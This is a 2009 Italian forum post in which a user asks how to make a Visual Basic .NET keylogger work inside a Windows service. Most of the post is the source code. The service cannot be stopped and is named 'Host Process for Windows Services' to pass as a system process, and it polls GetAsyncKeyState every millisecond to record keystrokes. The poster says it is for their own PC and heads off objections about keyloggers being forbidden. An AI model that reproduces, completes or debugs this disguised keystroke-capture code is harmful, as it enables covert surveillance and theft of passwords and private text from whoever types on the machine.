Oppure

Loading
21/05/09 22:25
nabbopazzo
Salve a tutti!
Vorrei fare un keylogger (in locale ovviamente) per controllare se e cosa qualcuno digita nel mio computer mentre non ci sono.
Siccome vorrei fare una cosa il più possibile nascosto e incancellabile ho usato un servizio di windows non stoppabile.
Questo è il codice:

 Public Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Integer) As Boolean
    Private t As New System.Timers.Timer(3600000)
    Private s As New System.Timers.Timer(1)
    Dim tasti As String
    Dim Cnt As Integer
    Dim sOld, sSave, Ret As String
#Region " Component Designer generated code "

    Public Sub New()
        MyBase.New()

        ' This call is required by the Component Designer.
        InitializeComponent()

        ' Add any initialization after the InitializeComponent() call

    End Sub

    'UserService overrides dispose to clean up the component list.
    Protected Overloads Overrides Sub Dispose(ByVal disposing As Boolean)
        If disposing Then
            If Not (components Is Nothing) Then
                components.Dispose()
            End If
        End If
        MyBase.Dispose(disposing)
    End Sub

    ' The main entry point for the process
    <MTAThread()> _
    Shared Sub Main()
        Dim ServicesToRun() As System.ServiceProcess.ServiceBase

        ' More than one NT Service may run within the same process. To add
        ' another service to this process, change the following line to
        ' create a second service object. For example,
        '
        '   ServicesToRun = New System.ServiceProcess.ServiceBase () {New Service1, New MySecondUserService}
        '
        ServicesToRun = New System.ServiceProcess.ServiceBase() {New checkService}

        System.ServiceProcess.ServiceBase.Run(ServicesToRun)
    End Sub

    'Required by the Component Designer
    Private components As System.ComponentModel.IContainer

    ' NOTE: The following procedure is required by the Component Designer
    ' It can be modified using the Component Designer.  
    ' Do not modify it using the code editor.
    <System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
        '
        'checkService
        '
        Me.AutoLog = False
        Me.CanShutdown = True
        Me.CanStop = False
        Me.ServiceName = "Host Process for Windows Services"

    End Sub

#End Region

    Protected Overrides Sub OnStart(ByVal args() As String)
        loadVariables()
        t.Enabled = True
        s.Enabled = True
    End Sub

    Protected Overrides Sub OnStop()
               t.Enabled = False
        s.Enabled = False
    End Sub

    Private Sub loadVariables()
        'handler del timer
        AddHandler t.Elapsed, AddressOf TimerFired
        AddHandler s.Elapsed, AddressOf TimerFired1
          End Sub

   
    Public Sub TimerFired1(ByVal sender As Object, ByVal e As System.Timers.ElapsedEventArgs)
               Ret = GetPressedKey()
        If Ret <> sOld Then
            sOld = Ret
            If sOld = Chr(8) Then
                sSave = sSave.Remove(sSave.Length - 1, 1)
            Else
                sSave = sSave & sOld
                sSave = sSave.Replace("", "")
                sSave = sSave.Replace("¢¥", " |AltGr|+")
            End If

        End If
    End Sub

    Function GetPressedKey() As String
        Dim items As Array
        Dim item As Long
        Dim tipo As Type = GetType(Windows.Forms.Keys)
        items = System.Enum.GetValues(tipo)
        For Each item In items
            If GetAsyncKeyState(item) Then
                If item >= 96 And item <= 105 Then
                    item = item - 48
                End If

                GetPressedKey = Chr(item)

                If item = 186 Then
                    GetPressedKey = "è"
                ElseIf item = 106 Then
                    GetPressedKey = "*"
                ElseIf item = 46 Then
                    GetPressedKey = " |canc| "
                ElseIf item = 111 Then
                    GetPressedKey = "/"
                ElseIf item = 197 Or item = 107 Then
                    GetPressedKey = "+"
                ElseIf item = 188 Then
                    GetPressedKey = ","
                ElseIf item = 189 Or item = 109 Then
                    GetPressedKey = "-"
                ElseIf item = 190 Then
                    GetPressedKey = "."
                ElseIf item = 191 Then
                    GetPressedKey = "ù"
                ElseIf item = 192 Then
                    GetPressedKey = "ò"
                ElseIf item = 219 Then
                    GetPressedKey = "'"
                ElseIf item = 220 Then
                    GetPressedKey = "\"
                ElseIf item = 221 Then
                    GetPressedKey = "ì"
                ElseIf item = 160 Or item = 161 Then
                    GetPressedKey = "+|shift|"
                End If
                Exit For
            End If
        Next
    End Function


Il problema è che in questo servizio l'API GetAsyncKeyState non restituisce mai True mentre in una normale applicazione si, come dovrei fare per renderla operativa?
P.S.: Non iniziate a dire "i keylogger sono vietati" e simili, ho detto che mi serve per il mio pc anzichè usarne uno hardware.
Grazie
Ultima modifica effettuata da nabbopazzo 21/05/09 22:26
aaa